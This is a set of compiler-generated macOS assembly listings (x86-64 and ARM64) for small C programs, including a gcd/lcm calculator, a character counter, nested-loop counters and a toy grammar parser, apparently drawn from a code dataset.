.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _gcd ## -- Begin function gcd .p2align 4, 0x90 _gcd: ## @gcd .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -8(%rbp) movl %esi, -12(%rbp) movl -8(%rbp), %eax cltd idivl -12(%rbp) movl %edx, -16(%rbp) cmpl $0, -16(%rbp) je LBB0_2 ## %bb.1: movl -12(%rbp), %edi movl -16(%rbp), %esi callq _gcd movl %eax, -4(%rbp) jmp LBB0_3 LBB0_2: movl -12(%rbp), %eax movl %eax, -4(%rbp) LBB0_3: movl -4(%rbp), %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _solve ## -- Begin function solve .p2align 4, 0x90 _solve: ## @solve .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl %edi, -4(%rbp) movl %esi, -8(%rbp) movl $0, -12(%rbp) movq $0, -24(%rbp) movl -4(%rbp), %edi movl -8(%rbp), %esi callq _gcd movl %eax, -12(%rbp) movslq -4(%rbp), %rax movslq -8(%rbp), %rcx imulq %rcx, %rax movslq -12(%rbp), %rcx xorl %edx, %edx ## kill: def $rdx killed $edx divq %rcx movq %rax, -24(%rbp) movq -24(%rbp), %rax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _test ## -- Begin function test .p2align 4, 0x90 _test: ## @test .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl -4(%rbp), %eax popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) movl $0, -8(%rbp) movl $0, -12(%rbp) movl $0, -16(%rbp) leaq L_.str(%rip), %rdi leaq -8(%rbp), %rsi leaq -12(%rbp), %rdx movb $0, %al callq _scanf movl %eax, -16(%rbp) movl -8(%rbp), %edi movl -12(%rbp), %esi callq _solve movq %rax, %rsi leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "%d %d" L_.str.1: ## @.str.1 .asciz "%llu" .subsections_via_symbols
the_stack_data/132954003.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] str wzr, [sp, #8] adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 bl _getchar subs w8, w0, #10 cset w8, eq tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #8] add w8, w8, #1 str w8, [sp, #8] b LBB0_1 LBB0_3: ldr w9, [sp, #8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf mov w0, #0 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "Enter a message: " l_.str.1: ; @.str.1 .asciz "Your message was %d character(s) long.\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) movl $0, -8(%rbp) leaq L_.str(%rip), %rdi movb $0, %al callq _printf LBB0_1: ## =>This Inner Loop Header: Depth=1 callq _getchar cmpl $10, %eax je LBB0_3 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl -8(%rbp), %eax addl $1, %eax movl %eax, -8(%rbp) jmp LBB0_1 LBB0_3: movl -8(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "Enter a message: " L_.str.1: ## @.str.1 .asciz "Your message was %d character(s) long.\n" .subsections_via_symbols
the_stack_data/200143465.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _A1 ; -- Begin function A1 .p2align 2 _A1: ; @A1 .cfi_startproc ; %bb.0: mov w0, #11 ret .cfi_endproc ; -- End function .globl _A2 ; -- Begin function A2 .p2align 2 _A2: ; @A2 .cfi_startproc ; %bb.0: mov w0, #12 ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _A1 ## -- Begin function A1 .p2align 4, 0x90 _A1: ## @A1 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $11, %eax popq %rbp retq .cfi_endproc ## -- End function .globl _A2 ## -- Begin function A2 .p2align 4, 0x90 _A2: ## @A2 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl $12, %eax popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
the_stack_data/98576140.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] stur wzr, [x29, #-20] str wzr, [sp, #24] b LBB0_1 LBB0_1: ; =>This Loop Header: Depth=1 ; Child Loop BB0_3 Depth 2 ; Child Loop BB0_5 Depth 3 ldr w8, [sp, #24] subs w8, w8, #4 cset w8, gt tbnz w8, #0, LBB0_12 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 str wzr, [sp, #20] b LBB0_3 LBB0_3: ; Parent Loop BB0_1 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB0_5 Depth 3 ldr w8, [sp, #20] subs w8, w8, #2 cset w8, gt tbnz w8, #0, LBB0_10 b LBB0_4 LBB0_4: ; in Loop: Header=BB0_3 Depth=2 str wzr, [sp, #16] b LBB0_5 LBB0_5: ; Parent Loop BB0_1 Depth=1 ; Parent Loop BB0_3 Depth=2 ; => This Inner Loop Header: Depth=3 ldr w8, [sp, #16] ldr w9, [sp, #20] subs w9, w9, #1 subs w8, w8, w9 cset w8, gt tbnz w8, #0, LBB0_8 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_5 Depth=3 adrp x0, l_.str@PAGE add x0, x0, l_.str@PAGEOFF bl _printf ldur w8, [x29, #-20] add w8, w8, #1 stur w8, [x29, #-20] b LBB0_7 LBB0_7: ; in Loop: Header=BB0_5 Depth=3 ldr w8, [sp, #16] add w8, w8, #1 str w8, [sp, #16] b LBB0_5 LBB0_8: ; in Loop: Header=BB0_3 Depth=2 b LBB0_9 LBB0_9: ; in Loop: Header=BB0_3 Depth=2 ldr w8, [sp, #20] add w8, w8, #1 str w8, [sp, #20] b LBB0_3 LBB0_10: ; in Loop: Header=BB0_1 Depth=1 b LBB0_11 LBB0_11: ; in Loop: Header=BB0_1 Depth=1 ldr w8, [sp, #24] add w8, w8, #1 str w8, [sp, #24] b LBB0_1 LBB0_12: ldur w9, [x29, #-20] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf mov w0, #0 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "A" l_.str.1: ; @.str.1 .asciz "\nCount: %d" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movl $0, -4(%rbp) movl $0, -20(%rbp) movl $0, -24(%rbp) LBB0_1: ## =>This Loop Header: Depth=1 ## Child Loop BB0_3 Depth 2 ## Child Loop BB0_5 Depth 3 cmpl $4, -24(%rbp) jg LBB0_12 ## %bb.2: ## in Loop: Header=BB0_1 Depth=1 movl $0, -28(%rbp) LBB0_3: ## Parent Loop BB0_1 Depth=1 ## => This Loop Header: Depth=2 ## Child Loop BB0_5 Depth 3 cmpl $2, -28(%rbp) jg LBB0_10 ## %bb.4: ## in Loop: Header=BB0_3 Depth=2 movl $0, -32(%rbp) LBB0_5: ## Parent Loop BB0_1 Depth=1 ## Parent Loop BB0_3 Depth=2 ## => This Inner Loop Header: Depth=3 movl -32(%rbp), %eax movl -28(%rbp), %ecx subl $1, %ecx cmpl %ecx, %eax jg LBB0_8 ## %bb.6: ## in Loop: Header=BB0_5 Depth=3 leaq L_.str(%rip), %rdi movb $0, %al callq _printf movl -20(%rbp), %eax addl $1, %eax movl %eax, -20(%rbp) ## %bb.7: ## in Loop: Header=BB0_5 Depth=3 movl -32(%rbp), %eax addl $1, %eax movl %eax, -32(%rbp) jmp LBB0_5 LBB0_8: ## in Loop: Header=BB0_3 Depth=2 jmp LBB0_9 LBB0_9: ## in Loop: Header=BB0_3 Depth=2 movl -28(%rbp), %eax addl $1, %eax movl %eax, -28(%rbp) jmp LBB0_3 LBB0_10: ## in Loop: Header=BB0_1 Depth=1 jmp LBB0_11 LBB0_11: ## in Loop: Header=BB0_1 Depth=1 movl -24(%rbp), %eax addl $1, %eax movl %eax, -24(%rbp) jmp LBB0_1 LBB0_12: movl -20(%rbp), %esi leaq L_.str.1(%rip), %rdi movb $0, %al callq _printf xorl %eax, %eax addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "A" L_.str.1: ## @.str.1 .asciz "\nCount: %d" .subsections_via_symbols
the_stack_data/1225202.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #112 .cfi_def_cfa_offset 112 stp x29, x30, [sp, #96] ; 16-byte Folded Spill add x29, sp, #96 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, _stack@GOTPAGE ldr x8, [x8, _stack@GOTPAGEOFF] str x8, [sp, #40] ; 8-byte Folded Spill adrp x9, _queue@GOTPAGE ldr x9, [x9, _queue@GOTPAGEOFF] str x9, [sp, #48] ; 8-byte Folded Spill adrp x9, _stp@GOTPAGE ldr x9, [x9, _stp@GOTPAGEOFF] stur x9, [x29, #-40] ; 8-byte Folded Spill adrp x9, _i@GOTPAGE ldr x9, [x9, _i@GOTPAGEOFF] stur x9, [x29, #-32] ; 8-byte Folded Spill adrp x9, _str@GOTPAGE ldr x9, [x9, _str@GOTPAGEOFF] stur x9, [x29, #-24] ; 8-byte Folded Spill adrp x9, _item@GOTPAGE ldr x9, [x9, _item@GOTPAGEOFF] stur x9, [x29, #-16] ; 8-byte Folded Spill stur wzr, [x29, #-4] adrp x9, _r@PAGE ldrsw x9, [x9, _r@PAGEOFF] mov x10, #110 mul x9, x9, x10 add x0, x8, x9 adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF mov x2, #-1 bl ___strcpy_chk adrp x0, l_.str.1@PAGE add x0, x0, l_.str.1@PAGEOFF bl _printf b LBB0_1 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #48] ; 8-byte Folded Reload adrp x9, _rear@PAGE ldrsw x9, [x9, _rear@PAGEOFF] mov x10, #100 mul x9, x9, x10 add x0, x8, x9 adrp x1, l_.str.2@PAGE add x1, x1, l_.str.2@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB0_3 b LBB0_2 LBB0_2: ; in Loop: Header=BB0_1 Depth=1 ldr x8, [sp, #48] ; 8-byte Folded Reload adrp x9, _rear@PAGE ldr w10, [x9, _rear@PAGEOFF] add w10, w10, #1 str w10, [x9, _rear@PAGEOFF] ldrsw x9, [x9, _rear@PAGEOFF] mov x10, #100 mul x9, x9, x10 add x8, x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _scanf b LBB0_1 LBB0_3: b LBB0_4 LBB0_4: ; =>This Loop Header: Depth=1 ; Child Loop BB0_12 Depth 2 ; Child Loop BB0_14 Depth 3 ldur x0, [x29, #-40] ; 8-byte Folded Reload ldr x8, [sp, #48] ; 8-byte Folded Reload adrp x9, _front@PAGE ldrsw x9, [x9, _front@PAGEOFF] mov x10, #100 mul x9, x9, x10 add x1, x8, x9 mov x2, #100 bl ___strcpy_chk ldur x0, [x29, #-40] ; 8-byte Folded Reload adrp x1, l_.str.4@PAGE add x1, x1, l_.str.4@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_5 LBB0_5: ; in Loop: Header=BB0_4 Depth=1 ldur x0, [x29, #-40] ; 8-byte Folded Reload adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_6 LBB0_6: ; in Loop: Header=BB0_4 Depth=1 ldur x0, [x29, #-40] ; 8-byte Folded Reload adrp x1, l_.str.6@PAGE add x1, x1, l_.str.6@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_7 LBB0_7: ; in Loop: Header=BB0_4 Depth=1 ldur x0, [x29, #-40] ; 8-byte Folded Reload adrp x1, l_.str.7@PAGE add x1, x1, l_.str.7@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_8 LBB0_8: ; in Loop: Header=BB0_4 Depth=1 ldur x0, [x29, #-40] ; 8-byte Folded Reload adrp x1, l_.str.8@PAGE add x1, x1, l_.str.8@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB0_10 b LBB0_9 LBB0_9: ; in Loop: Header=BB0_4 Depth=1 ldur x0, [x29, #-40] ; 8-byte Folded Reload adrp x1, l_.str.9@PAGE add x1, x1, l_.str.9@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB0_11 b LBB0_10 LBB0_10: ; in Loop: Header=BB0_4 Depth=1 ldur x8, [x29, #-40] ; 8-byte Folded Reload mov x9, sp str x8, [x9] adrp x0, l_.str.10@PAGE add x0, x0, l_.str.10@PAGEOFF bl _printf adrp x9, _front@PAGE ldr w8, [x9, _front@PAGEOFF] add w8, w8, #1 str w8, [x9, _front@PAGEOFF] adrp x9, _r@PAGE ldr w8, [x9, _r@PAGEOFF] add w8, w8, #1 str w8, [x9, _r@PAGEOFF] b LBB0_4 LBB0_11: ; in Loop: Header=BB0_4 Depth=1 b LBB0_12 LBB0_12: ; Parent Loop BB0_4 Depth=1 ; => This Loop Header: Depth=2 ; Child Loop BB0_14 Depth 3 ldur x0, [x29, #-40] ; 8-byte Folded Reload adrp x1, l_.str.2@PAGE add x1, x1, l_.str.2@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB0_24 b LBB0_13 LBB0_13: ; in Loop: Header=BB0_12 Depth=2 ldur x8, [x29, #-32] ; 8-byte Folded Reload str wzr, [x8] b LBB0_14 LBB0_14: ; Parent Loop BB0_4 Depth=1 ; Parent Loop BB0_12 Depth=2 ; => This Inner Loop Header: Depth=3 ldur x8, [x29, #-32] ; 8-byte Folded Reload ldr w8, [x8] subs w8, w8, #40 cset w8, ge tbnz w8, #0, LBB0_23 b LBB0_15 LBB0_15: ; in Loop: Header=BB0_14 Depth=3 ldur x0, [x29, #-24] ; 8-byte Folded Reload ldr x8, [sp, #40] ; 8-byte Folded Reload adrp x9, _r@PAGE ldrsw x9, [x9, _r@PAGEOFF] mov x10, #110 mul x9, x9, x10 add x1, x8, x9 mov x2, #50 bl ___strcpy_chk ldr x8, [sp, #48] ; 8-byte Folded Reload ldur x0, [x29, #-40] ; 8-byte Folded Reload adrp x9, _front@PAGE ldrsw x9, [x9, _front@PAGEOFF] mov x10, #100 mul x9, x9, x10 add x1, x8, x9 mov x2, #100 bl ___strcpy_chk ldur x8, [x29, #-32] ; 8-byte Folded Reload ldur x1, [x29, #-24] ; 8-byte Folded Reload ldrsw x8, [x8] mov x9, #400 mul x9, x8, x9 adrp x8, _b@PAGE add x8, x8, _b@PAGEOFF add x0, x8, x9 bl _strcmp subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB0_18 b LBB0_16 LBB0_16: ; in Loop: Header=BB0_14 Depth=3 ldur x1, [x29, #-40] ; 8-byte Folded Reload ldur x8, [x29, #-32] ; 8-byte Folded Reload ldrsw x8, [x8] mov x9, #400 mul x9, x8, x9 adrp x8, _b@PAGE add x8, x8, _b@PAGEOFF add x8, x8, x9 add x0, x8, #10 bl _strcmp subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB0_18 b LBB0_17 LBB0_17: ; in Loop: Header=BB0_14 Depth=3 ldur x8, [x29, #-32] ; 8-byte Folded Reload ldrsw x8, [x8] mov x9, #400 mul x9, x8, x9 adrp x8, _b@PAGE add x8, x8, _b@PAGEOFF add x8, x8, x9 add x0, x8, #20 bl _atoi ldur x1, [x29, #-24] ; 8-byte Folded Reload stur w0, [x29, #-8] ldur w0, [x29, #-8] bl _prod adrp x8, _r@PAGE str w0, [x8, _r@PAGEOFF] b LBB0_21 LBB0_18: ; in Loop: Header=BB0_14 Depth=3 ldur x1, [x29, #-40] ; 8-byte Folded Reload ldur x0, [x29, #-24] ; 8-byte Folded Reload bl _strcmp subs w8, w0, #0 cset w8, ne tbnz w8, #0, LBB0_20 b LBB0_19 LBB0_19: ; in Loop: Header=BB0_4 Depth=1 ldur x0, [x29, #-16] ; 8-byte Folded Reload ldr x8, [sp, #48] ; 8-byte Folded Reload adrp x9, _front@PAGE str x9, [sp, #8] ; 8-byte Folded Spill ldrsw x9, [x9, _front@PAGEOFF] mov x10, #100 str x10, [sp, #16] ; 8-byte Folded Spill mul x9, x9, x10 add x1, x8, x9 mov x2, #50 str x2, [sp, #24] ; 8-byte Folded Spill bl ___strcpy_chk ldur x8, [x29, #-16] ; 8-byte Folded Reload mov x9, sp str x8, [x9] adrp x0, l_.str.10@PAGE add x0, x0, l_.str.10@PAGEOFF bl _printf ldr x9, [sp, #8] ; 8-byte Folded Reload ldr x10, [sp, #16] ; 8-byte Folded Reload ldr x8, [sp, #48] ; 8-byte Folded Reload ldr x2, [sp, #24] ; 8-byte Folded Reload ldur x0, [x29, #-24] ; 8-byte Folded Reload ldr w11, [x9, _front@PAGEOFF] add w11, w11, #1 str w11, [x9, _front@PAGEOFF] ldrsw x9, [x9, _front@PAGEOFF] mul x9, x9, x10 add x1, x8, x9 bl ___strcpy_chk ldr x8, [sp, #40] ; 8-byte Folded Reload ldr x2, [sp, #24] ; 8-byte Folded Reload ldur x0, [x29, #-16] ; 8-byte Folded Reload adrp x9, _r@PAGE str x9, [sp, #32] ; 8-byte Folded Spill ldrsw x9, [x9, _r@PAGEOFF] mov x10, #110 mul x9, x9, x10 add x1, x8, x9 bl ___strcpy_chk ldr x9, [sp, #32] ; 8-byte Folded Reload ldr w8, [x9, _r@PAGEOFF] add w8, w8, #1 str w8, [x9, _r@PAGEOFF] b LBB0_4 LBB0_20: ; in Loop: Header=BB0_14 Depth=3 b LBB0_21 LBB0_21: ; in Loop: Header=BB0_14 Depth=3 b LBB0_22 LBB0_22: ; in Loop: Header=BB0_14 Depth=3 ldur x9, [x29, #-32] ; 8-byte Folded Reload ldr w8, [x9] add w8, w8, #1 str w8, [x9] b LBB0_14 LBB0_23: ; in Loop: Header=BB0_12 Depth=2 b LBB0_12 LBB0_24: ldr x8, [sp, #40] ; 8-byte Folded Reload adrp x9, _r@PAGE ldrsw x9, [x9, _r@PAGEOFF] mov x10, #110 mul x9, x9, x10 add x0, x8, x9 adrp x1, l_.str.11@PAGE add x1, x1, l_.str.11@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB0_26 b LBB0_25 LBB0_25: adrp x0, l_.str.12@PAGE add x0, x0, l_.str.12@PAGEOFF bl _printf b LBB0_26 LBB0_26: adrp x0, l_.str.13@PAGE add x0, x0, l_.str.13@PAGEOFF bl _printf mov w0, #0 ldp x29, x30, [sp, #96] ; 16-byte Folded Reload add sp, sp, #112 ret .cfi_endproc ; -- End function .globl _prod ; -- Begin function prod .p2align 2 _prod: ; @prod .cfi_startproc ; %bb.0: sub sp, sp, #176 .cfi_def_cfa_offset 176 stp x29, x30, [sp, #160] ; 16-byte Folded Spill add x29, sp, #160 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] stur x8, [x29, #-8] str w0, [sp, #48] str x1, [sp, #40] mov w8, #1 str w8, [sp, #36] str wzr, [sp, #32] ldrsw x8, [sp, #48] mov x9, #275 mul x9, x8, x9 adrp x8, _a@PAGE add x8, x8, _a@PAGEOFF add x8, x8, x9 mov x9, sp str x8, [x9] adrp x0, l_.str.14@PAGE add x0, x0, l_.str.14@PAGEOFF bl _printf b LBB1_1 LBB1_1: ; =>This Inner Loop Header: Depth=1 ldrsw x8, [sp, #48] mov x9, #275 mul x9, x8, x9 adrp x8, _a@PAGE add x8, x8, _a@PAGEOFF add x8, x8, x9 ldrsw x9, [sp, #36] mov x10, #11 mul x9, x9, x10 add x1, x8, x9 add x0, sp, #52 mov x2, #100 bl ___strcpy_chk b LBB1_2 LBB1_2: ; in Loop: Header=BB1_1 Depth=1 add x0, sp, #52 adrp x1, l_.str.2@PAGE add x1, x1, l_.str.2@PAGEOFF bl _strcmp subs w8, w0, #0 cset w8, eq tbnz w8, #0, LBB1_4 b LBB1_3 LBB1_3: ; in Loop: Header=BB1_1 Depth=1 ldr x0, [sp, #40] add x1, sp, #52 mov x2, #-1 str x2, [sp, #16] ; 8-byte Folded Spill bl ___strcpy_chk ldr x8, [sp, #40] mov x9, sp str x8, [x9] adrp x0, l_.str.3@PAGE add x0, x0, l_.str.3@PAGEOFF bl _printf ldr x2, [sp, #16] ; 8-byte Folded Reload adrp x8, _r@PAGE str x8, [sp, #24] ; 8-byte Folded Spill ldrsw x8, [x8, _r@PAGEOFF] mov x9, #110 mul x9, x8, x9 adrp x8, _stack@GOTPAGE ldr x8, [x8, _stack@GOTPAGEOFF] add x0, x8, x9 ldr x1, [sp, #40] bl ___strcpy_chk ldr x9, [sp, #24] ; 8-byte Folded Reload ldr w8, [sp, #32] add w8, w8, #1 str w8, [sp, #32] ldr w8, [x9, _r@PAGEOFF] add w8, w8, #1 str w8, [x9, _r@PAGEOFF] ldr w8, [sp, #36] add w8, w8, #1 str w8, [sp, #36] b LBB1_1 LBB1_4: ldr w8, [sp, #32] adrp x9, _r@PAGE ldr w9, [x9, _r@PAGEOFF] subs w8, w8, w9 cset w8, le tbnz w8, #0, LBB1_6 b LBB1_5 LBB1_5: ldr w8, [sp, #32] adrp x9, _r@PAGE ldr w10, [x9, _r@PAGEOFF] subs w8, w8, w10 str w8, [x9, _r@PAGEOFF] b LBB1_7 LBB1_6: adrp x9, _r@PAGE ldr w8, [x9, _r@PAGEOFF] ldr w10, [sp, #32] subs w8, w8, w10 str w8, [x9, _r@PAGEOFF] b LBB1_7 LBB1_7: adrp x0, l_.str.15@PAGE add x0, x0, l_.str.15@PAGEOFF bl _printf adrp x8, _r@PAGE ldr w8, [x8, _r@PAGEOFF] str w8, [sp, #12] ; 4-byte Folded Spill ldur x9, [x29, #-8] adrp x8, ___stack_chk_guard@GOTPAGE ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] ldr x8, [x8] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB1_9 b LBB1_8 LBB1_8: bl ___stack_chk_fail LBB1_9: ldr w0, [sp, #12] ; 4-byte Folded Reload ldp x29, x30, [sp, #160] ; 16-byte Folded Reload add sp, sp, #176 ret .cfi_endproc ; -- End function .globl _r ; @r .zerofill __DATA,__common,_r,4,2 .globl _c ; @c .zerofill __DATA,__common,_c,4,2 .section __DATA,__data .globl _a ; @a _a: .asciz "S\000\000\000\000\000\000\000\000\000" .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "int\000\000\000\000\000\000\000" .asciz "A\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 231 .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "begin\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "endif\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "end\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "return \000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "D\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 209 .asciz "K\000\000\000\000\000\000\000\000\000" .asciz "if\000\000\000\000\000\000\000\000" .asciz "B\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 231 .asciz "A\000\000\000\000\000\000\000\000\000" .asciz "main\000\000\000\000\000\000" .asciz "(\000\000\000\000\000\000\000\000\000" .asciz ")\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 220 .asciz "A\000\000\000\000\000\000\000\000\000" .asciz "D\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "10\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz ";\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 198 .asciz "A\000\000\000\000\000\000\000\000\000" .asciz "T\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "0\000\000\000\000\000\000\000\000\000" .asciz ";\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 209 .asciz "A\000\000\000\000\000\000\000\000\000" .asciz "M\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "D\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "10\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz ";\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 176 .asciz "B\000\000\000\000\000\000\000\000\000" .asciz "D\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "T\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "M\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 187 .asciz "D\000\000\000\000\000\000\000\000\000" .asciz "l\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "T\000\000\000\000\000\000\000\000\000" .asciz "i\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "M\000\000\000\000\000\000\000\000\000" .asciz "maxval\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "[\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "]\000\000\000\000\000\000\000\000\000" .asciz "$\000\000\000\000\000\000\000\000\000" .space 242 .asciz "R\000\000\000\000\000\000\000\000\000" .asciz "(\000\000\000\000\000\000\000\000\000" 